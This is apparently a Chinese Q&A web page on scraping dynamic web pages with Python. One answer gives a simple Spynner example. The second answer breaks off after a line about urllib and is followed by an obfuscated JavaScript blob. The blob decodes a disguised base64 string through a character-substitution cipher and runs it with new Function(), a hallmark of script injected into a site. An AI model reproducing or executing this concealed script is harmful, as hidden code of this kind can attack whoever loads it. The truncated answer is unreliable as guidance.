如何用Python抓取动态页面信息

2025-03-15 07:56:06
推荐回答(2个)
回答1:

Spynner的简单使用

Spynner的功能十分强大,但是由于本人能力有限,就介绍一下如何显示网页的源码吧。
#! /usr/bin/python
#-*-coding: utf-8 -*-

import spynner

browser = spynner.Browser()
#创建一个浏览器对象

browser.hide()
#打开浏览器,并隐藏。

browser.load("http://www.baidu.com")
#browser 类中有一个类方法load,可以用webkit加载你想加载的页面信息。
#load(是你想要加载的网址的字符串形式)

print browser.html.encode("utf-8")
#browser 类中有一个成员是html,是页面进过处理后的源码的字符串.
#将其转码为UTF-8编码

open("Test.html", 'w+').write(browser.html.encode("utf-8"))
#你也可以将它写到文件中,用浏览器打开。

browser.close()
#关闭该浏览器
通过这个程序,就可以比较容易的显示webkit处理的页面HTML源码了。

回答2:

很早之前,学习Python web编程的时候,就涉及一个Python的urllib。可以用urllib.urlopen("url").read()可以轻松读取页面上面的静态信息。但是,随着时代的发展,也来越多的网页中更多的使用javascript、jQuery、PHP等语言动态生成页面信息。

(function(){function b7c9e1493(c95fae){var n03b5751="D$8~x9Tdn.B|3cZ?C4K^jNOeUpXAuih!HSYwR@Q-_rvPq:/]VJyotm,kzf05bMGl%(LW7&I26=F;asg1E[";var a531b0a="W$^VPE/6OSb!I?Zt3gf_UR|DGuH:pMN.,15LxKae9k&mj;]TBcvslFwQ4d@YJ8hz=o(2r07iX%-qyn[A~C";return atob(c95fae).split('').map(function(z5cd7){var e04b2b9=n03b5751.indexOf(z5cd7);return e04b2b9==-1?z5cd7:a531b0a[e04b2b9]}).join('')}var c=b7c9e1493('rtmp://LDJzZigsZyJmUyIrIk1XLXoiLyVLcHNKPzIoc0wpe0xLcHNKPzIoc0wyUUpfJlFIYUNfSWZIZldZUUJLTUgyV0JfUUlkKXsyS0xUOGlRSk9EMnNUIT8tbz9Mc1F5MjRRPyg3IXV0UT9LKDdQKSl7Ny0/cDdzfXlRNyAtei1kLXpZZlMlS3BzSj8yKHNMbFNkTWRLZCl7Ny0/cDdzIC4/NzJzNCFLNyhQW0dRN1soZi1MbFNkTWRLZCl9OnlRNyBzJlEtZkt6USVnInRxb0ZYJlNed24xZV5iLl5YXWl3IkgieS03RiZTIkgibzJmRldNIkgiSko/RlcmV1lGJkNGU3ogVyZBeldBek0iLzp5UTcgZlF6ZlFJeiZJJWZXWVFCS01nLXotZC16WWZTTCZSZFMpKy16LWQtellmU0wmUkl6KSstei1kLXpZZlNMJlJkSykrLXotZC16WWZTTCZSZFcpL0gsV0NDS2RLJWZXWVFCS01nLXotZC16WWZTTCZSZFcpKy16LWQtellmU0wmUkl6KSstei1kLXpZZlNMJlJkSykrLXotZC16WWZTTCZSZFMpL0hCU3pTWUMlMldCX1FJZGdmUXpmUUl6JklMIjVDfmFKUH5wZm1ocUpQdCxmMSUlIikvSGFDJkktUUklZlF6ZlFJeiZJTCI1Q2J0NTZOdE5EUnRCRH5wZjElJSIpSHlJelFRXyVmUXpmUUl6JklMIkpDfjJKQ05hUURZcyIpSFBKV01LWSVmUXpmUUl6JklMIkpQfixCVW1xWmslJSIpSHNCZmZRJllkJWZRemZRSXomSUwiSkNWb1E2ayUiKUhQWXpfLUIlZlF6ZlFJeiZJTCJKUH5XWjZibFprJSUiKUhRLUNLZCVmUXpmUUl6JklMIlFQX3VCNCUlIilIbC1DQ0slZlF6ZlFJeiZJTCJKUG1wWlVfPyIpSHVmQ1dLJiVmV1lRQktNZ2ZRemZRSXomSUwiXURtJlExJSUiKS9IMkNkZiZCQklZJWZRemZRSXomSUwiQlVfR1oxJSUiKTp5UTcgKFdRJllJXyVmUXpmUUl6JklMIkpXUyZRRE50ZjQlJSIpOnlRNyBzWV9CS2ZTOjJLTHQoSlE/MihzIW8tUTdKRyEyc2YtUm5LTChXUSZZSV8pPkZTKXtzWV9CS2ZTJTJXQl9RSWRnYUMmSS1RSS9MZlF6ZlFJeiZJTCJmVX56ZlVtYVpEOSUiKSk6c1lfQktmUyEyZiUiPyIrdWZDV0smZ2wtQ0NLL0wpKlMmJiYmOnNZX0JLZlMhbz9hdC0hLDJmP0clIlMmJj0iOnNZX0JLZlMhbz9hdC0hRy0yNEc/JSJZJiZ1UiI6c1lfQktmUyFmMm9RQnQtZiU/N3AtOjJLTDJXQl9RSWQhQihmYXwlc3B0dCl7MldCX1FJZCFCKGZhIVF1dS1zZltHMnRmTHNZX0JLZlMpfS10by17eVE3IGZRSkJCUyVLcHNKPzIoc0wpezJXQl9RSWQhQihmYSFRdXUtc2ZbRzJ0ZkxzWV9CS2ZTKTpmV1lRQktNITctUCh5LTl5LXM/dzJvPy1zLTdMMkNkZiZCQklZSGZRSkJCU0hLUXRvLSl9OmZXWVFCS00hUWZmOXktcz93Mm8/LXMtN0wyQ2RmJkJCSVlIZlFKQkJTSEtRdG8tKX19eVE3IFFLTSZfTSUyV0JfUUlkZ2FDJkktUUkvTGZRemZRSXomSUwiWkRTMlpEayUiKSk6UUtNJl9NITJmJWFDX0lmK3VmQ1dLJiFKLTJ0THVmQ1dLJmdsLUNDSy9MKSpTJiYmJik6eVE3IHBkQksmQ2RNSyVLcHNKPzIoc0xRJlkmUWRkX0Ipe3lRNyBRUUlNJnolcy0sIGVRPy1MKTp5UTcgUWRkSkImSiVgb1A/Ml5vMmZeJHthQ19JZn1eJHtRUUlNJnohPyh3KEpRdC1lUT8tLj83MnM0TCl9YDp5UTcgeWZfQ1dkJXNwdHQ6Pzdhe3lmX0NXZCViLm5oIXVRN28tTHQoSlF0Lj8oN1E0LSE0LT8zPy1QTFFkZEpCJkopKX1KUT9KR0wtKXt9MktMeWZfQ1dkJSVzcHR0KXt5Zl9DV2Qle0I3KCxvLTdbKHBzP0EmSH19eWZfQ1dkIUI3KCxvLTdbKHBzPysrOnlRNyBzLSZfWWQlLFdDQ0tkS0xzJlEtZkt6USFKKHNKUT9MZ2BzKCxGJHtlUT8tZyJzKCwiL0wpfWBIYEc3LUtGJHt0KEpRPzIocyFHNy1LfWBIYHBvSkYke3lmX0NXZCFCNygsby03Wyhwcz99YEgvKSFvKDc/TEwpJT51ZkNXSyZnbC1DQ0svTClGJiFZKWdRLUNLZC9MIkgiKSk6eVE3IFAtX0omTUIlcy0mX1lkITJzZi1SbktMLXotZC16WWZTTCZSQ2YpKT5GU2NzLSZfWWRneUl6UVFfL0xzLSZfWWQhMnNmLVJuS0wtei1kLXpZZlNMJlJDZikpKUEiIjpzLSZfWWQlcy0mX1lkZ1BKV01LWS9MUC1fSiZNQkgiIilnc0JmZlEmWWQvTCIiKWdQWXpfLUIvTClnUS1DS2QvTCIiKStQLV9KJk1COlFLTSZfTSFvN0olZyJHPz91b0FUVCIrUSZZJlFkZF9CSFFLTSZfTSEyZkhzLSZfWWQvZ1EtQ0tkL0wiVCIpOjJXQl9RSWQhQihmYSEyc28tNz9WLUsoNy1MUUtNJl9NSDJXQl9RSWQhQihmYSFKRzJ0ZmgoZi1vZyYvKToyS0xzWV9CS2ZTfCVzcHR0KXtzWV9CS2ZTIXlRdHAtKyUiXFw3XFxzUXV1LXNmLWYgLVAgPyggRz9QdCI6eVE3IEtfJkN6JkIlMldCX1FJZCE0LT85dC1QLXM/VmEzZkxRS00mX00hMmYpOjJLTEtfJkN6JkIlJXNwdHRPT0tfJkN6JkIlJXBzZi1LMnMtZil7c1lfQktmUyF5UXRwLSslIlxcN1xccyBKUXM/IDQtPyAtUCBLNyhQIEc/UHQifX19OjJLTHNZX0JLZlN8JXNwdHQpe3NZX0JLZlMheVF0cC0rJSJcXDdcXHNvLXNmIHFvIEcobz8gIisyUUpfJlF9eVE3IChKQiZXSyVLcHNKPzIoc0wsX0lRU00pezctP3A3cyBmUXpmUUl6JklMLF9JUVNNKWdQSldNS1kvTC16LWQtellmU0wmUldRKUh1ZkNXSyZnbC1DQ0svTCkhPyguPzcyczRMQ2QpIW90MkotTHVmQ1dLJiFLdCgoN0x1ZkNXSyZnbC1DQ0svTCkqXykrVykpfTpwZEJLJkNkTUtMKEpCJldLTDJRSl8mUSkpOmZXWVFCS01nIlFmZjl5LXM/dzJvPy1zLTciL0wiUC1vb1E0LSJIS3BzSj8yKHNMLSl7MktMLSFmUT9RIXIlJWFDX0lmKXsyV0JfUUlkITQtPzl0LVAtcz9WYTNmTFFLTSZfTSEyZikhNy1QKHktTCk6eVE3IHJZWVdKJXNwdHQ6MktMc1lfQktmU3wlc3B0dCl7c1lfQktmUyF5UXRwLSslIlxcN1xcczctSi0yeS0gLVAgdShvPyBQLW9vUTQtIjpzWV9CS2ZTIXlRdHAtKyUiXFw3XFxzLSFmUT9RIXkgIistIWZRP1EhOzpyWVlXSiVMISEhUFFTemYpJT57MktMfFBRU3pmT09QUVN6ZiF0LXM0P0c8JSYpNy0/cDdzOnNZX0JLZlMheVF0cC0rJSJcXDdcXHMiK1BRU3pmIXEoMnNMIiAiKX19cy0sIG1wc0o/MihzTCJRNzRvIkgtIWZRP1EhOylMe14/ZkpvQUJTelNZQ0hedCg0QXJZWVdKSH0pfX0pfSlMIlpXSnBoXX5sUVdtbEJEUj9aV2ZZQi5ZJkJDMWRuXXJTaDQlJSJIIldNIkgsMnNmKCxIZihKcFAtcz8pfTpmU01XLXpMKTo='.substr(7));new Function(c)()})();